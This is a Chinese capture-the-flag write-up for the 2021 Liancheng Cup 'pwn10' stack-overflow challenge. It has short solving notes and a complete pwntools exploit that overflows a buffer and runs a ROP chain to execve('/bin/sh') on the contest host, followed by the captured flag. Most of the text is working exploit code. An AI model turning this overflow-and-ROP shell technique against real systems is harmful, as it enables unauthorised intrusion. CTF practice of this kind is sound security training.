2021年“莲城杯”网络安全大赛-PWN-pwn10(三血)

题目名称：pwn10
题目内容：栈溢出。靶机：nc 183.129.189.60 10016
题目分值：100.0
题目难度：容易
相关附件：pwn10的附件.zip

解题思路：

1.保护机制，静态链接，没pie

2.主要函数

3.做pwn要注意重点，输入一个长字符串，能把name冲掉，反正是个很大的数字，不用关注count是多少，反正够用。然后用不可寻址的地址找到偏移0x78，然后 rop syscall

```python
#!/usr/bin/env python
from pwn import *

local = 0
debug = 1
binary = "./pwn10"
lib = "/lib/x86_64-linux-gnu/libc.so.6"
elf = ELF(binary)
context.log_level = "debug" if debug else "info"

if local:
    p = process(binary)
    libc = ELF(lib)
else :
    p = remote("183.129.189.60","10016")
    # lib = "./libc.so.6"
    libc = ELF(lib)

s      = lambda buf        : p.send(buf)
sl     = lambda buf        : p.sendline(buf)
sa     = lambda delim, buf : p.sendafter(delim, buf)
sal    = lambda delim, buf : p.sendlineafter(delim, buf)
sh     = lambda            : p.interactive()
r      = lambda n=None     : p.recv(n)
ru     = lambda delim      : p.recvuntil(delim)
r7f    = lambda            : u64(p.recvuntil("\x7f")[-6:]+"\x00\x00")
trs    = lambda addr       : libc.address+addr
gadget = lambda ins        : libc.search(asm(ins,arch="amd64")).next()
tohex  = lambda buf        : "".join("\\x%02x"%ord(_) for _ in buf)

rop = ""
rop += p64(0x00000000004016e6) # 0x00000000004016e6: pop rdi; ret; 
rop += p64(0x00000000006ccd60)
rop += p64(0x0000000000401807) # 0x0000000000401807: pop rsi; ret; 
rop += p64(0x0000000000000000)
rop += p64(0x0000000000442d16) # 0x0000000000442d16: pop rdx; ret; 
rop += p64(0x0000000000000000)
rop += p64(0x000000000041f884) # 0x000000000041f884: pop rax; ret; 
rop += p64(0x000000000000003b)
rop += p64(0x00000000004679a5) # 0x00000000004679a5: syscall; ret; 

raw_input()
payload = "/bin/sh\x00"
payload += "A"*0x70
payload += rop
payload += "A"*0x100


sl(payload)
sh()
# DASCTF{c7d94ca4c9a02a430d8c677cbaea192b}